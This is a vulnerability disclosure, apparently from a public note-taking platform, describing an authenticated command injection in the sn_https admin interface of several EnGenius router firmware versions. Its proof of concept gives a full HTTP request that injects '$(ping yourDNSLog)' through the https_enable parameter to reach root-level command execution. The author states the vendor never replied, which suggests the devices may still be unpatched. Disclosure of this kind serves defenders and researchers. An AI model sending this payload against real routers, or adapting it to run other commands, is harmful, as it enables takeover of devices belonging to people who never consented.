Command Injection In sn_https interface Of ENGENIUS Router
输入“/”快速插入内容
Command Injection In sn_https interface Of ENGENIUS Router
Command Injection In sn_https interface Of ENGENIUS Router
用户1258用户12582024年11月18日修改
BUG_Author: i3eg1nner
Affected Version:
The latest version firmware of all routing devices and all previous versions, specific version information is as follows.
ENH1350EXT-3.5
ENS500-AC-v3.7.20
ens620ext-all-v3.9.1.7
Description:
Engenius multiple devices /admin/sn_package/sn_https interface has a command injection vulnerability, after the user logs in to the device, the https_enable parameters of the data packet command injection, the final system can successfully execute the command, can directly obtain system permissions.
Proof of Concept:
After the firmware is decrypted, it needs to reverse compile the lua bytecode and then analyze it. The core code of the vulnerability in thelua file is shown in the following figure
Get the user's input parameter https_enable, causing the command to execute
代码块
GET /cgi-bin/luci/;stok=a227375dc653e1c0adad8c700e887394/admin/sn_package/sn_https?https_enable=$(ping%20yourDNSLog)&https_forward=0 HTTP/1.1
Host: IP
Cookie: sysauth=b226ab4bf37a351346d0543195a0f9cc
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
We tried to contact the ENGENIUS manufacturer, but there was no response.